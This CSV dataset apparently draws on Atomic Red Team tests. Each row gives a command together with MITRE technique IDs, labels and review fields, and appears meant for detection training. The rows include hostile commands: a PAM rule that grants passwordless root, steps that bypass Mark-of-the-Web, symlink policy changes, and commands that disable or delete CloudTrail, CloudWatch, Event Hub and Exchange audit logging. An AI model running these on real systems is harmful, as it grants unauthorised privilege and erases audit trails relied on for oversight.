f322a1dca36f3471e3cd2b72,"if [ ""$(system_profiler SPHardwareDataType | grep ""Model Identifier"" | grep -v 'Mac')"" != """" ]; then echo 'Virtualization Environment detected'; fi;","if [ ""$(system_profiler SPHardwareDataType | grep ""Model Identifier"" | grep -v 'Mac')"" != """" ]; then echo 'Virtualization Environment detected'; fi;",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1497.001/T1497.001.yaml,Detect Virtualization Environment using system_profiler,T1497.001,"[""T1497.001""]",macos,0.9,False,"system_profiler provides system hardware and software configuration and the Model Identifier should provide the value similar to (sysctl -n hw.model). 
We should be able to find whether virtualization is enabled by checking whether the Model Identifier does not contain ""Mac"".
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
df2355c07252dba95678f2d3,fsutil behavior set SymlinkEvaluation R2L:1 fsutil behavior set SymlinkEvaluation R2R:1,fsutil behavior set SymlinkEvaluation R2L:1 fsutil behavior set SymlinkEvaluation R2R:1,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1222/T1222.yaml,Enable Local and Remote Symbolic Links via fsutil,T1222,"[""T1222""]",windows,0.9,False,"Use fsutil to enable both ‘remote to local’ and ‘remote to remote’ symbolic links. This allows access to files from local shortcuts with local or remote paths.
[reference](https://symantec-enterprise-blogs.security.com/threat-intelligence/noberus-blackcat-alphv-rust-ransomware/)
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3331885dd6abf4495686acd6,fsutil behavior set SymlinkEvaluation R2L:0 fsutil behavior set SymlinkEvaluation R2R:0,fsutil behavior set SymlinkEvaluation R2L:0 fsutil behavior set SymlinkEvaluation R2R:0,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1222/T1222.yaml,Enable Local and Remote Symbolic Links via fsutil,T1222,"[""T1222""]",windows,0.55,True,"Use fsutil to enable both ‘remote to local’ and ‘remote to remote’ symbolic links. This allows access to files from local shortcuts with local or remote paths.
[reference](https://symantec-enterprise-blogs.security.com/threat-intelligence/noberus-blackcat-alphv-rust-ransomware/)
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
7d8a00b923829e4517ae017a,"reg add ""HKLM\SYSTEM\CurrentControlSet\Control\FileSystem"" /v SymlinkRemoteToLocalEvaluation /t REG_DWORD /d ""1"" /f reg add ""HKLM\SYSTEM\CurrentControlSet\Control\FileSystem"" /v SymlinkRemoteToRemoteEvaluation /t REG_DWORD /d ""1"" /f","reg add ""HKLM\SYSTEM\CurrentControlSet\Control\FileSystem"" /v SymlinkRemoteToLocalEvaluation /t REG_DWORD /d ""1"" /f reg add ""HKLM\SYSTEM\CurrentControlSet\Control\FileSystem"" /v SymlinkRemoteToRemoteEvaluation /t REG_DWORD /d ""1"" /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1222/T1222.yaml,Enable Local and Remote Symbolic Links via reg.exe,T1222,"[""T1222""]",windows,0.9,False,"Use reg.exe to enable both ‘remote to local’ and ‘remote to remote’ symbolic links. This allows access to files from local shortcuts with local or remote paths.
[reference](https://symantec-enterprise-blogs.security.com/threat-intelligence/noberus-blackcat-alphv-rust-ransomware/)
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
992bbc244bd0c2a14eaebfe4,"reg add ""HKLM\SYSTEM\CurrentControlSet\Control\FileSystem"" /v SymlinkRemoteToLocalEvaluation /t REG_DWORD /d ""0"" /f reg add ""HKLM\SYSTEM\CurrentControlSet\Control\FileSystem"" /v SymlinkRemoteToRemoteEvaluation /t REG_DWORD /d ""0"" /f","reg add ""HKLM\SYSTEM\CurrentControlSet\Control\FileSystem"" /v SymlinkRemoteToLocalEvaluation /t REG_DWORD /d ""0"" /f reg add ""HKLM\SYSTEM\CurrentControlSet\Control\FileSystem"" /v SymlinkRemoteToRemoteEvaluation /t REG_DWORD /d ""0"" /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1222/T1222.yaml,Enable Local and Remote Symbolic Links via reg.exe,T1222,"[""T1222""]",windows,0.55,True,"Use reg.exe to enable both ‘remote to local’ and ‘remote to remote’ symbolic links. This allows access to files from local shortcuts with local or remote paths.
[reference](https://symantec-enterprise-blogs.security.com/threat-intelligence/noberus-blackcat-alphv-rust-ransomware/)
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c22881fc1e6f95dd24f79f40,New-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\Filesystems\NTFS -Name SymlinkRemoteToLocalEvaluation -PropertyType DWORD -Value 1 -Force -ErrorAction Ignore New-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\Filesystems\NTFS -Name SymlinkRemoteToRemoteEvaluation -PropertyType DWORD -Value 1 -Force -ErrorAction Ignore,New-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\Filesystems\NTFS -Name SymlinkRemoteToLocalEvaluation -PropertyType DWORD -Value 1 -Force -ErrorAction Ignore New-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\Filesystems\NTFS -Name SymlinkRemoteToRemoteEvaluation -PropertyType DWORD -Value 1 -Force -ErrorAction Ignore,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1222/T1222.yaml,Enable Local and Remote Symbolic Links via Powershell,T1222,"[""T1222""]",windows,0.9,False,"Use Powershell to enable both ‘remote to local’ and ‘remote to remote’ symbolic links. This allows access to files from local shortcuts with local or remote paths.
[reference](https://symantec-enterprise-blogs.security.com/threat-intelligence/noberus-blackcat-alphv-rust-ransomware/)
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
60dc0d08e1a3bae8e0a5b260,New-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\Filesystems\NTFS -Name SymlinkRemoteToLocalEvaluation -PropertyType DWORD -Value 0 -Force -ErrorAction Ignore New-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\Filesystems\NTFS -Name SymlinkRemoteToRemoteEvaluation -PropertyType DWORD -Value 0 -Force -ErrorAction Ignore,New-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\Filesystems\NTFS -Name SymlinkRemoteToLocalEvaluation -PropertyType DWORD -Value 0 -Force -ErrorAction Ignore New-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\Filesystems\NTFS -Name SymlinkRemoteToRemoteEvaluation -PropertyType DWORD -Value 0 -Force -ErrorAction Ignore,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1222/T1222.yaml,Enable Local and Remote Symbolic Links via Powershell,T1222,"[""T1222""]",windows,0.55,True,"Use Powershell to enable both ‘remote to local’ and ‘remote to remote’ symbolic links. This allows access to files from local shortcuts with local or remote paths.
[reference](https://symantec-enterprise-blogs.security.com/threat-intelligence/noberus-blackcat-alphv-rust-ransomware/)
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
95c4050a43eef174d9f381f7,"sudo sed -i ""#{index}s,^,#{pam_rule}\n,g"" #{path_to_pam_conf}","sudo sed -i ""#{index}s,^,#{pam_rule}\n,g"" #{path_to_pam_conf}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1556.003/T1556.003.yaml,Malicious PAM rule,T1556.003,"[""T1556.003""]",linux,0.9,False,"Inserts a rule into a PAM config and then tests it.

Upon successful execution, this test will insert a rule that allows every user to su to root without a password.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d369f66ffb8e7f528662378e,"sudo sed -i ""\,#{pam_rule},d"" #{path_to_pam_conf}","sudo sed -i ""\,#{pam_rule},d"" #{path_to_pam_conf}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1556.003/T1556.003.yaml,Malicious PAM rule,T1556.003,"[""T1556.003""]",linux,0.55,True,"Inserts a rule into a PAM config and then tests it.

Upon successful execution, this test will insert a rule that allows every user to su to root without a password.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
18e0b2b6bd3b3d3b8647cb4e,"sudo sed -i """" ""#{index}s,^,#{pam_rule}\n,g"" #{path_to_pam_conf}","sudo sed -i """" ""#{index}s,^,#{pam_rule}\n,g"" #{path_to_pam_conf}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1556.003/T1556.003.yaml,Malicious PAM rule (freebsd),T1556.003,"[""T1556.003""]",linux,0.9,False,"Inserts a rule into a PAM config and then tests it.

Upon successful execution, this test will insert a rule that allows every user to su to root without a password.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e480c4defa0d7d4a672810f7,"sudo sed -i """" ""/#{pam_rule}/d"" #{path_to_pam_conf}","sudo sed -i """" ""/#{pam_rule}/d"" #{path_to_pam_conf}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1556.003/T1556.003.yaml,Malicious PAM rule (freebsd),T1556.003,"[""T1556.003""]",linux,0.55,True,"Inserts a rule into a PAM config and then tests it.

Upon successful execution, this test will insert a rule that allows every user to su to root without a password.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
5962e3d7ed6c1766905c902a,"Mount-DiskImage -ImagePath ""#{path_of_iso}""","Mount-DiskImage -ImagePath ""#{path_of_iso}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1553.005/T1553.005.yaml,Mount ISO image,T1553.005,"[""T1553.005""]",windows,0.9,False,"Mounts ISO image downloaded from internet to evade Mark-of-the-Web. Upon successful execution, powershell will download the .iso from the Atomic Red Team repo, and mount the image. The provided sample ISO simply has a Reports shortcut file in it. Reference: https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
6615cdc13037c17e7d1d68d6,"Dismount-DiskImage -ImagePath ""#{path_of_iso}"" | Out-Null","Dismount-DiskImage -ImagePath ""#{path_of_iso}"" | Out-Null",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1553.005/T1553.005.yaml,Mount ISO image,T1553.005,"[""T1553.005""]",windows,0.55,True,"Mounts ISO image downloaded from internet to evade Mark-of-the-Web. Upon successful execution, powershell will download the .iso from the Atomic Red Team repo, and mount the image. The provided sample ISO simply has a Reports shortcut file in it. Reference: https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
fc8a601507eeb2f0954c3ff9,"Mount-DiskImage -ImagePath ""#{path_of_iso}"" -StorageType ISO -Access ReadOnly $keep = Get-Volume -FileSystemLabel ""TestIso"" $driveLetter = ($keep | Get-Volume).DriveLetter invoke-item ""$($driveLetter):\hello.exe""","Mount-DiskImage -ImagePath ""#{path_of_iso}"" -StorageType ISO -Access ReadOnly $keep = Get-Volume -FileSystemLabel ""TestIso"" $driveLetter = ($keep | Get-Volume).DriveLetter invoke-item ""$($driveLetter):\hello.exe""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1553.005/T1553.005.yaml,Mount an ISO image and run executable from the ISO,T1553.005,"[""T1553.005""]",windows,0.9,False,"Mounts an ISO image downloaded from internet to evade Mark-of-the-Web and run hello.exe executable from the ISO. 
Upon successful execution, powershell will download the .iso from the Atomic Red Team repo, mount the image, and run the executable from the ISO image that will open command prompt echoing ""Hello, World!"". 
ISO provided by:https://twitter.com/mattifestation/status/1398323532988399620 Reference:https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-fro",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d84eaddd8ed31e3c7404809c,"Dismount-DiskImage -ImagePath ""#{path_of_iso}"" | Out-Null Stop-process -name ""hello"" -Force -ErrorAction ignore","Dismount-DiskImage -ImagePath ""#{path_of_iso}"" | Out-Null Stop-process -name ""hello"" -Force -ErrorAction ignore",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1553.005/T1553.005.yaml,Mount an ISO image and run executable from the ISO,T1553.005,"[""T1553.005""]",windows,0.55,True,"Mounts an ISO image downloaded from internet to evade Mark-of-the-Web and run hello.exe executable from the ISO. 
Upon successful execution, powershell will download the .iso from the Atomic Red Team repo, mount the image, and run the executable from the ISO image that will open command prompt echoing ""Hello, World!"". 
ISO provided by:https://twitter.com/mattifestation/status/1398323532988399620 Reference:https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-fro",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b724998c59ceb916e5d7a87c,Unblock-File -Path #{file_path},Unblock-File -Path #{file_path},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1553.005/T1553.005.yaml,Remove the Zone.Identifier alternate data stream,T1553.005,"[""T1553.005""]",windows,0.9,False,"Remove the Zone.Identifier alternate data stream which identifies the file as downloaded from the internet.
Removing this allows more freedom in executing scripts in PowerShell and avoids opening files in protected view.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
bac736fd7bd176c928a13a94,"Set-Content -Path #{file_path} -Stream Zone.Identifier -Value '[ZoneTransfer]','ZoneId=3'","Set-Content -Path #{file_path} -Stream Zone.Identifier -Value '[ZoneTransfer]','ZoneId=3'",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1553.005/T1553.005.yaml,Remove the Zone.Identifier alternate data stream,T1553.005,"[""T1553.005""]",windows,0.55,True,"Remove the Zone.Identifier alternate data stream which identifies the file as downloaded from the internet.
Removing this allows more freedom in executing scripts in PowerShell and avoids opening files in protected view.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
60e272c0bf31f95372cdbf6d,"Mount-DiskImage -ImagePath ""#{path_of_iso}"" -StorageType ISO -Access ReadOnly $keep = Get-Volume -FileSystemLabel ""AllTheThings"" $driveLetter = ($keep | Get-Volume).DriveLetter $instance = [activator]::CreateInstance([type]::GetTypeFromCLSID(""{c08afd90-f2a1-11d1-8455-00a0c91f3880}"")) $instance.Document.Application.ShellExecute($driveLetter+"":\document.lnk"","""",$driveLetter+"":\"",$null,0)","Mount-DiskImage -ImagePath ""#{path_of_iso}"" -StorageType ISO -Access ReadOnly $keep = Get-Volume -FileSystemLabel ""AllTheThings"" $driveLetter = ($keep | Get-Volume).DriveLetter $instance = [activator]::CreateInstance([type]::GetTypeFromCLSID(""{c08afd90-f2a1-11d1-8455-00a0c91f3880}"")) $instance.Document.Application.ShellExecute($driveLetter+"":\document.lnk"","""",$driveLetter+"":\"",$null,0)",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1553.005/T1553.005.yaml,Execute LNK file from ISO,T1553.005,"[""T1553.005""]",windows,0.9,False,"Executes LNK file document.lnk from AllTheThings.iso. Link file executes cmd.exe and rundll32 to in order to load and execute AllTheThingsx64.dll from the ISO which spawns calc.exe.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b177cc6307712d5285bfee39,"$RemovableDrives=@() $RemovableDrives = Get-WmiObject -Class Win32_LogicalDisk -filter ""drivetype=2"" | select-object -expandproperty DeviceID ForEach ($Drive in $RemovableDrives) { write-host ""Removable Drive Found:"" $Drive New-Item -Path $Drive/T1091Test1.txt -ItemType ""file"" -Force -Value ""T1091 Test 1 has created this file to simulate malware spread to removable drives."" }","$RemovableDrives=@() $RemovableDrives = Get-WmiObject -Class Win32_LogicalDisk -filter ""drivetype=2"" | select-object -expandproperty DeviceID ForEach ($Drive in $RemovableDrives) { write-host ""Removable Drive Found:"" $Drive New-Item -Path $Drive/T1091Test1.txt -ItemType ""file"" -Force -Value ""T1091 Test 1 has created this file to simulate malware spread to removable drives."" }",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1091/T1091.yaml,USB Malware Spread Simulation,T1091,"[""T1091""]",windows,0.9,False,"Simulates an adversary copying malware to all connected removable drives. 
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
45531d53e70753934499b224,"$RemovableDrives = Get-WmiObject -Class Win32_LogicalDisk -filter ""drivetype=2"" | select-object -expandproperty DeviceID ForEach ($Drive in $RemovableDrives) { Remove-Item -Path $Drive\T1091Test1.txt -Force -ErrorAction Ignore }","$RemovableDrives = Get-WmiObject -Class Win32_LogicalDisk -filter ""drivetype=2"" | select-object -expandproperty DeviceID ForEach ($Drive in $RemovableDrives) { Remove-Item -Path $Drive\T1091Test1.txt -Force -ErrorAction Ignore }",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1091/T1091.yaml,USB Malware Spread Simulation,T1091,"[""T1091""]",windows,0.55,True,"Simulates an adversary copying malware to all connected removable drives. 
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d57f769ad87b0695ba0412e8,aws cloudtrail update-trail --name #{cloudtrail_name} --s3-bucket-name #{s3_bucket_name} --is-multi-region-trail --region #{region} aws cloudtrail stop-logging --name #{cloudtrail_name} --region #{region} aws cloudtrail delete-trail --name #{cloudtrail_name} --region #{region},aws cloudtrail update-trail --name #{cloudtrail_name} --s3-bucket-name #{s3_bucket_name} --is-multi-region-trail --region #{region} aws cloudtrail stop-logging --name #{cloudtrail_name} --region #{region} aws cloudtrail delete-trail --name #{cloudtrail_name} --region #{region},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.008/T1562.008.yaml,AWS - CloudTrail Changes,T1562.008,"[""T1562.008""]",iaas:aws,0.9,False,"Creates a new cloudTrail in AWS, Upon successful creation it will Update,Stop and Delete the cloudTrail
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
2727f8c5060c3fea8b0708ed,"cd ""$PathToAtomicsFolder/T1562.008/src/T1562.008-1/"" terraform destroy -auto-approve","cd ""$PathToAtomicsFolder/T1562.008/src/T1562.008-1/"" terraform destroy -auto-approve",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.008/T1562.008.yaml,AWS - CloudTrail Changes,T1562.008,"[""T1562.008""]",iaas:aws,0.55,True,"Creates a new cloudTrail in AWS, Upon successful creation it will Update,Stop and Delete the cloudTrail
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9d742f9add1f68280668320a,"$secure_pwd = ""#{password}"" | ConvertTo-SecureString -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential -ArgumentList ""#{username}"", $secure_pwd Connect-AzureAD -Credential $creds Remove-AzEventHub -ResourceGroupName #{resource_group} -Namespace #{name_space_name} -Name #{event_hub_name}","$secure_pwd = ""#{password}"" | ConvertTo-SecureString -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential -ArgumentList ""#{username}"", $secure_pwd Connect-AzureAD -Credential $creds Remove-AzEventHub -ResourceGroupName #{resource_group} -Namespace #{name_space_name} -Name #{event_hub_name}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.008/T1562.008.yaml,Azure - Eventhub Deletion,T1562.008,"[""T1562.008""]",iaas:azure,0.9,False,"Identifies an Event Hub deletion in Azure.
An Event Hub is an event processing service that ingests and processes large volumes of events and data.
An adversary may delete an Event Hub in an attempt to evade detection.
https://docs.microsoft.com/en-us/azure/event-hubs/event-hubs-about.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
aab98073d1372824517da85a,"cd ""$PathToAtomicsFolder/T1562.008/src/T1562.008-2/"" terraform destroy -auto-approve","cd ""$PathToAtomicsFolder/T1562.008/src/T1562.008-2/"" terraform destroy -auto-approve",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.008/T1562.008.yaml,Azure - Eventhub Deletion,T1562.008,"[""T1562.008""]",iaas:azure,0.55,True,"Identifies an Event Hub deletion in Azure.
An Event Hub is an event processing service that ingests and processes large volumes of events and data.
An adversary may delete an Event Hub in an attempt to evade detection.
https://docs.microsoft.com/en-us/azure/event-hubs/event-hubs-about.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
19dd3e6172e62776f6e92a81,"$secure_pwd = ""#{password}"" | ConvertTo-SecureString -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential -ArgumentList ""#{username}"", $secure_pwd Connect-ExchangeOnline -Credential $creds Set-AdminAuditLogConfig -UnifiedAuditLogIngestionEnabled $False","$secure_pwd = ""#{password}"" | ConvertTo-SecureString -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential -ArgumentList ""#{username}"", $secure_pwd Connect-ExchangeOnline -Credential $creds Set-AdminAuditLogConfig -UnifiedAuditLogIngestionEnabled $False",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.008/T1562.008.yaml,Office 365 - Exchange Audit Log Disabled,T1562.008,"[""T1562.008""]",office-365,0.9,False,"You can use the Exchange Management Shell to enable or disable mailbox audit logging for a mailbox.
Unified or Admin Audit logs are disabled via the Exchange Powershell cmdline.
https://github.com/Azure/Azure-Sentinel/blob/master/Detections/OfficeActivity/exchange_auditlogdisabled.yaml
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
70b756a97c58938f999af1bf,"$secure_pwd = ""#{password}"" | ConvertTo-SecureString -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential -ArgumentList ""#{username}"", $secure_pwd Connect-ExchangeOnline -Credential $creds Set-AdminAuditLogConfig -UnifiedAuditLogIngestionEnabled $True","$secure_pwd = ""#{password}"" | ConvertTo-SecureString -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential -ArgumentList ""#{username}"", $secure_pwd Connect-ExchangeOnline -Credential $creds Set-AdminAuditLogConfig -UnifiedAuditLogIngestionEnabled $True",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.008/T1562.008.yaml,Office 365 - Exchange Audit Log Disabled,T1562.008,"[""T1562.008""]",office-365,0.55,True,"You can use the Exchange Management Shell to enable or disable mailbox audit logging for a mailbox.
Unified or Admin Audit logs are disabled via the Exchange Powershell cmdline.
https://github.com/Azure/Azure-Sentinel/blob/master/Detections/OfficeActivity/exchange_auditlogdisabled.yaml
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
62f3493aed7c0af4f93e9e85,"export AWS_REGION=#{aws_region} cd #{stratus_path} echo ""starting warmup"" ./stratus warmup aws.defense-evasion.cloudtrail-event-selectors echo ""starting detonate"" ./stratus detonate aws.defense-evasion.cloudtrail-event-selectors --force","export AWS_REGION=#{aws_region} cd #{stratus_path} echo ""starting warmup"" ./stratus warmup aws.defense-evasion.cloudtrail-event-selectors echo ""starting detonate"" ./stratus detonate aws.defense-evasion.cloudtrail-event-selectors --force",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.008/T1562.008.yaml,AWS - Disable CloudTrail Logging Through Event Selectors using Stratus,T1562.008,"[""T1562.008""]","linux,macos,iaas:aws",0.9,False,"Update event selectors in AWS CloudTrail to disable the logging of certain management events to evade defense. This Atomic test leverages a tool called Stratus-Red-Team built by DataDog (https://github.com/DataDog/stratus-red-team). Stratus Red Team is a self-contained binary. You can use it to easily detonate offensive attack techniques against a live cloud environment. Ref: https://stratus-red-team.cloud/attack-techniques/AWS/aws.defense-evasion.cloudtrail-event-selectors/
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
7e8d5098c75a9733b4c8c778,"export AWS_REGION=#{aws_region} echo ""Cleanup detonation"" cd #{stratus_path} ./stratus cleanup --all rm -rf stratus*","export AWS_REGION=#{aws_region} echo ""Cleanup detonation"" cd #{stratus_path} ./stratus cleanup --all rm -rf stratus*",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.008/T1562.008.yaml,AWS - Disable CloudTrail Logging Through Event Selectors using Stratus,T1562.008,"[""T1562.008""]","linux,macos,iaas:aws",0.55,True,"Update event selectors in AWS CloudTrail to disable the logging of certain management events to evade defense. This Atomic test leverages a tool called Stratus-Red-Team built by DataDog (https://github.com/DataDog/stratus-red-team). Stratus Red Team is a self-contained binary. You can use it to easily detonate offensive attack techniques against a live cloud environment. Ref: https://stratus-red-team.cloud/attack-techniques/AWS/aws.defense-evasion.cloudtrail-event-selectors/
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e674cde2b36e960667083921,"export AWS_REGION=#{aws_region} cd #{stratus_path} echo ""starting warmup"" ./stratus warmup aws.defense-evasion.cloudtrail-lifecycle-rule echo ""starting detonate"" ./stratus detonate aws.defense-evasion.cloudtrail-lifecycle-rule --force","export AWS_REGION=#{aws_region} cd #{stratus_path} echo ""starting warmup"" ./stratus warmup aws.defense-evasion.cloudtrail-lifecycle-rule echo ""starting detonate"" ./stratus detonate aws.defense-evasion.cloudtrail-lifecycle-rule --force",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.008/T1562.008.yaml,AWS - CloudTrail Logs Impairment Through S3 Lifecycle Rule using Stratus,T1562.008,"[""T1562.008""]","linux,macos,iaas:aws",0.9,False,This Atomic test will use the Stratus Red Team will first setup a CloudTrail logging into an S3 bucket and will then make an API call to update the lifecycle rule on that S3 bucket with an expiration date of 1 day. This will essentially delete all the logs after one day. Adversaries often do this actiivity to evade detection. Stratus Red Team is a self-contained binary. You can use it to easily detonate offensive attack techniques against a live cloud environment. ref: https://stratus-red-team.c,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b98121d6f2f963c8e1e49440,"export AWS_REGION=#{aws_region} cd #{stratus_path} echo ""starting warmup"" ./stratus warmup aws.defense-evasion.vpc-remove-flow-logs echo ""starting detonate"" ./stratus detonate aws.defense-evasion.vpc-remove-flow-logs --force","export AWS_REGION=#{aws_region} cd #{stratus_path} echo ""starting warmup"" ./stratus warmup aws.defense-evasion.vpc-remove-flow-logs echo ""starting detonate"" ./stratus detonate aws.defense-evasion.vpc-remove-flow-logs --force",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.008/T1562.008.yaml,AWS - Remove VPC Flow Logs using Stratus,T1562.008,"[""T1562.008""]","linux,macos,iaas:aws",0.9,False,"This Atomic will attempt to remove AWS VPC Flow Logs configuration. Stratus Red Team is a self-contained binary. You can use it to easily detonate offensive attack techniques against a live cloud environment. Ref: https://stratus-red-team.cloud/attack-techniques/AWS/aws.defense-evasion.vpc-remove-flow-logs/
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
392c5ef4c72a8d13d6f1d1c7,"aws logs create-log-group --log-group-name #{cloudwatch_log_group_name} --region #{region} --output json echo ""*** Log Group Created ***"" aws logs delete-log-group --log-group-name #{cloudwatch_log_group_name} --region #{region} --output json echo ""*** Log Group Deleted ***""","aws logs create-log-group --log-group-name #{cloudwatch_log_group_name} --region #{region} --output json echo ""*** Log Group Created ***"" aws logs delete-log-group --log-group-name #{cloudwatch_log_group_name} --region #{region} --output json echo ""*** Log Group Deleted ***""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.008/T1562.008.yaml,AWS - CloudWatch Log Group Deletes,T1562.008,"[""T1562.008""]",iaas:aws,0.9,False,"Creates a new cloudWatch log group in AWS, Upon successful creation it will Delete the group. Attackers can use this technique to evade defenses by 
deleting the log stream. Once it is deleted, the logs created by the attackers will not be logged. https://www.elastic.co/guide/en/security/current/aws-cloudwatch-log-group-deletion.html#aws-cloudwatch-log-group-deletion
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d2cfde76e231767a8f833bcb,"$secure_pwd = ""#{password}"" | ConvertTo-SecureString -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential -ArgumentList ""#{username}"", $secure_pwd Connect-ExchangeOnline -Credential $creds Set-MailboxAuditBypassAssociation -Identity ""#{target_email}"" -AuditBypassEnabled $true","$secure_pwd = ""#{password}"" | ConvertTo-SecureString -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential -ArgumentList ""#{username}"", $secure_pwd Connect-ExchangeOnline -Credential $creds Set-MailboxAuditBypassAssociation -Identity ""#{target_email}"" -AuditBypassEnabled $true",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.008/T1562.008.yaml,Office 365 - Set Audit Bypass For a Mailbox,T1562.008,"[""T1562.008""]",office-365,0.9,False,"Use Exchange Management Shell to Mailbox auditing to bypass. It will prevent any mailbox audit logging entries being generated for the target e-mail box.
https://learn.microsoft.com/en-us/powershell/module/exchange/set-mailboxauditbypassassociation?view=exchange-ps
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
